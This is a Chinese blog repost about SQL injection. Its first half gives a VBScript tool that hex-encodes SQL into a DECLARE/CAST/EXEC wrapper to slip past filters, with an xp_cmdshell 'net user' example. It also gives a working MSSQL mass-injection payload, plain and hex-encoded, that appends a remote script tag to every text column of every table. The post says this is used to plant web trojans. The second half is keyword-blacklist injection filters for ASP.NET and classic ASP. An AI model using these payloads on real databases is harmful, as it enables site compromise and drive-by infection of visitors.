数据库
首页 > 数据库> > SQL注入之SQL语句转十六进制

SQL注入之SQL语句转十六进制

作者:互联网

HTML代码

<script language=vbs>
sub sqlencode()
Dim strTest
strTest = form1.text1.value
myHex = Str2Hex(strTest)
document.write "<pre>DECLARE @S NVARCHAR(4000) SET @S=CAST(0x"&myhex&" AS NVARCHAR(4000)) EXEC(@S)</pre>"
end sub
Function Str2Hex(ByVal strHex)
 Dim sHex
 For i = 1 To Len(strHex)
  sHex = sHex & Hex(Asc(Mid(strHex,i,1)))&"00"
 Next
 Str2Hex = sHex
End Function
</script>
<form name=form1 method="post">
<p>请输入sql语句,例子:</p><br>
<input type=text name=text1 value='exec master.dbo.xp_cmdshell "net user"--' size=100><input type=submit οnclick=sqlencode()
value="给我转">
</form>

 

exp

原程序代码

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR 
Select a.name,b.name FROM sysobjects a,syscolumns b Where a.id=b.id AND a.xtype='u' AND (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor FETCH NEXT 
FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN 
EXEC('Update ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://****/*.js></script>''') 
FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

 

转换后的代码

DECLARE @S NVARCHAR(4000) SET @S=CAST(0x4400450043004C0041005200450020004000540020005600410052004300480041005200280032003500350029002C004000430020005600410052004300480041005200280032003500350029004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000530065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000460052004F004D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200057006800650072006500200061002E00690064003D0062002E0069006400200041004E004400200061002E00780074007900700065003D00270075002700200041004E0044002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D0020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D003000290042004500470049004E00200045005800450043002800270055007000640061007400650020005B0027002B00400054002B0027005D00200053004500540020005B0027002B00400043002B0027005D003D0052005400520049004D00280043004F004E005600450052005400280056004100520043004800410052002800340030003000300029002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F002A002A002A002A002F002A002E006A0073003E003C002F007300630072006900700074003E00270027002700290020004600450054004300480020004E004500580054002000460052004F004D0020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000)) EXEC(@S)

功能是遍历该数据库的所有数据表中所有varchar ,text,nvarchar,ntext类型的字段,并在字段尾加上
<script src=http://****/*.js></script>,常用于js或iframe挂马。

 

ASP.NET防SQL注入程序代码

 

using System;
using System.Configuration;
using System.Web;
using System.Globalization;

namespace Koray.SqlInject
{
   /* public class SqlInject
    {

    }
    */
    public class SqlstrAny : IHttpModule
    {
        public void Init(HttpApplication application)
        {
            application.BeginRequest += (new
            EventHandler(this.Application_BeginRequest));
        }
        private void Application_BeginRequest(Object source, EventArgs e)
        {
            ProcessRequest pr = new ProcessRequest();
            pr.StartProcessRequest();
        }
        public void Dispose()
        {
        }
    }

    public class ProcessRequest
    {
        private static string SqlStr = System.Configuration.ConfigurationManager.AppSettings["SqlInject"].ToString();
        private static string sqlErrorPage = System.Configuration.ConfigurationSettings.AppSettings["SQLInjectErrPage"].ToString();
        /// 
        /// 用来识别是否是流的方式传输
        /// 
        /// 
        /// 
        bool IsUploadRequest(HttpRequest request)
        {
            return StringStartsWithAnotherIgnoreCase(request.ContentType, "multipart/form-data");
        }
        /// 
        /// 比较内容类型
        /// 
        /// 
        /// 
        /// 
        private static bool StringStartsWithAnotherIgnoreCase(string s1, string s2)
        {
            return (string.Compare(s1, 0, s2, 0, s2.Length, true, CultureInfo.InvariantCulture) == 0);
        }

        //SQL注入式攻击代码分析
        #region SQL注入式攻击代码分析
        /// 
        /// 处理用户提交的请求
        /// 
        public void StartProcessRequest()
        {
            HttpRequest Request = System.Web.HttpContext.Current.Request;
            HttpResponse Response = System.Web.HttpContext.Current.Response;
            try
            {
                string getkeys = "";
                if (IsUploadRequest(Request)) return; //如果是流传递就退出
                //字符串参数
                if (Request.QueryString != null)
                {
                    for (int i = 0; i < Request.QueryString.Count; i++)
                    {
                        getkeys = Request.QueryString.Keys[i];
                        if (!ProcessSqlStr(Request.QueryString[getkeys]))
                        {
                            logSqlstr(DateTime.Now.ToShortDateString() +" "+DateTime.Now.ToShortTimeString()+ ":" + Request.ServerVariables["Url"]);
                            logSqlstr(getkeys + "=" + Request.QueryString[getkeys]);
                            Response.Redirect(sqlErrorPage + "?errmsg=QueryStringError&sqlprocess=true");
                            Response.End();
                        }
                    }
                }
                //form参数
                if (Request.Form != null)
                {
                    for (int i = 0; i < Request.Form.Count; i++)
                    {
                        getkeys = Request.Form.Keys[i];
                        if (!ProcessSqlStr(Request.Form[getkeys]))
                        {
                            logSqlstr(DateTime.Now.ToShortDateString() + " " + DateTime.Now.ToShortTimeString() + ":" + Request.ServerVariables["Url"]);
                            logSqlstr(getkeys + "=" + Request.Form[getkeys]);
                            Response.Redirect(sqlErrorPage + "?errmsg=FormError&sqlprocess=true");
                            Response.End();
                        }
                    }
                }
                //cookie参数
                if (Request.Cookies != null)
                {
                    for (int i = 0; i < Request.Cookies.Count; i++)
                    {
                        getkeys = Request.Cookies.Keys[i];
                        if (!ProcessSqlStr(Request.Cookies[getkeys].Value))
                        {
                            logSqlstr(DateTime.Now.ToShortDateString() + " " + DateTime.Now.ToShortTimeString() + ":" + Request.ServerVariables["Url"]);
                            logSqlstr(getkeys + "=" + Request.Cookies[getkeys]);
                            Response.Redirect(sqlErrorPage + "?errmsg=CookieError&sqlprocess=true");
                            Response.End();
                        }
                    }
                }
            }
            catch(Exception ex)
            {
                // 错误处理: 处理用户提交信息!
                Response.Clear();
                Response.Write("CustomErrorPage Error"+ex.Message);
                Response.End();
            }
        }

        /// 
        /// 分析用户请求是否正常
        /// 
        /// 传入用户提交数据
        /// 返回是否含有SQL注入式攻击代码
        private bool ProcessSqlStr(string Str)
        {
            bool ReturnValue = true;
            try
            {
                if (Str != "")
                {
                    Str = Str.ToLower();
                    string[] anySqlStr = SqlStr.Split('|');
                    foreach (string ss in anySqlStr)
                    {
                        if (Str.IndexOf(ss) >= 0)
                        {
                            ReturnValue = false;
                            break;
                        }
                    }
                }
            }
            catch
            {
                ReturnValue = false;
            }
            return ReturnValue;
        }

        private void logSqlstr(string str)
        {
            HttpRequest req = System.Web.HttpContext.Current.Request;
            string fileName = "/Log/log_"+DateTime.Now.ToShortDateString().Replace("/","_")+".log";
            fileName=req.MapPath(fileName);
            if (!System.IO.File.Exists(fileName))
            {
                System.IO.FileStream f = System.IO.File.Create(fileName);
                f.Close();
            }
            System.IO.StreamWriter f2 = new System.IO.StreamWriter(fileName, true, System.Text.Encoding.GetEncoding("utf-8"));
            f2.WriteLine(str);
            f2.Close();
            f2.Dispose();

        }
        #endregion
    }
}

在web.config中加入

 

<appSettings>
    <add value="exec|insert|delete|update|chr|mid|master|truncate|declare|cast(|drop table" key="SQLInject" />
    <add value="/error.aspx" key="SQLInjectErrPage" />
  </appSettings>

<httpModules>
        <add name="SqlstrAny"  type="Koray.SqlInject.SqlstrAny,Koray.SqlInject"/>
  </httpModules>

 ASP.NET组件参考了:
http://hi.baidu.com/honfei/blog/item/7d6bd23610cd0edaa3cc2ba8.html

 

ASP防SQL注入代码

 

Sub SQLInject
    Dim strTemp,errLogFile,rtnerr,RtnArr,ErrLogFileName
    ErrLogFileName="/Log/err_"&DateToStr(Now(),"Y-m-d")&".log"
    strTemp=""
    strTemp = strTemp & Request.ServerVariables("URL")
    If Trim(Request.QueryString) <> "" Then strTemp = strTemp & "?" & Trim(Request.QueryString)
    strTemp = Lcase(strTemp)
    If Instr(strTemp,"declare") or Instr(strTemp,"select") or Instr(strTemp,"insert into") or Instr(strTemp,"delete from") or Instr(strTemp,"count(") or Instr(strTemp,"drop table") or Instr(strTemp,"truncate") or Instr(strTemp,"mid(") or Instr(strTemp,"char(") or Instr(strTemp,"xp_cmdshell") or Instr(strTemp,"exec master") or Instr(strTemp,"net localgroup administrators") or Instr(strTemp,":") or Instr(strTemp,"net user") or Instr(strTemp,"'") then
    RtnArr=LoadFromFile(ErrLogFileName)
    if RtnArr(0)=0 then
        errLogFile=RtnArr(1)
    else
        errLogFile="start"
    end if
    errLogFile=errLogFile&vbcrlf&vbcrlf
    errLogFile=errLogFile&"IP:"&getIP()&" Time:"&Cstr(Now())&" Info:"&strTemp
    rtnerr=SaveToFileByGb2312(errLogFile,ErrLogFileName)
    Response.Write "<html><title>Waring</title><body bgcolor=""EEEEEE"" leftmargin=""60"" topmargin=""30""><font style=""font-size:16px;font-weight:bolder;color:blue;""><li>You has been submit a bad querystring!</li></font><font style=""font-size:14px;font-weight:bolder;color:red;""><br><li>Your Ip Has been record!</li><br><li>IP:"&getIP()&"</li><br><li>Time:"&Now&"</li></font></body></html><!--AddTime:"&now&"-->"
    response.end
    End If
End Sub

'读日志文件
Function LoadFromFile(ByVal File)
    Dim objStream
    Dim RText
    RText=array(0,"")
    Set objStream = Server.CreateObject("ADODB.Stream")
    With objStream
        .Type = 2
        .Mode = 3
        .Open
        .Charset = "utf-8"
        .Position = objStream.Size
        on error resume next
        .LoadFromFile Server.MapPath(File)
        If Err Then
           RText=array(Err.Number,Err.Description)
           LoadFromFile=RText
           Err.Clear
           exit function
        End If
        RText=array(0,.ReadText)
        .Close
    End With
    LoadFromFile=RText
    Set objStream = Nothing
End Function

'写日志
Function SaveToFileByGb2312(ByVal strBody,ByVal File)
    Dim objStream
    Dim RText
    RText=array(0,"")
    Set objStream = Server.CreateObject("ADODB.Stream")
    With objStream
        .Type = 2
        .Open
        .Charset = "gb2312"
        .Position = objStream.Size
        .WriteText = strBody
        .SaveToFile Server.MapPath(File),2
        .Close
    End With
    RText=array(0,"保存文件成功!")
    SaveToFileByGb2312=RText
    Set objStream = Nothing
End Function

 

标签:语句,十六进制,End,Instr,Request,System,getkeys,strTemp,SQL
来源: https://blog.csdn.net/hahazaizheli/article/details/95985156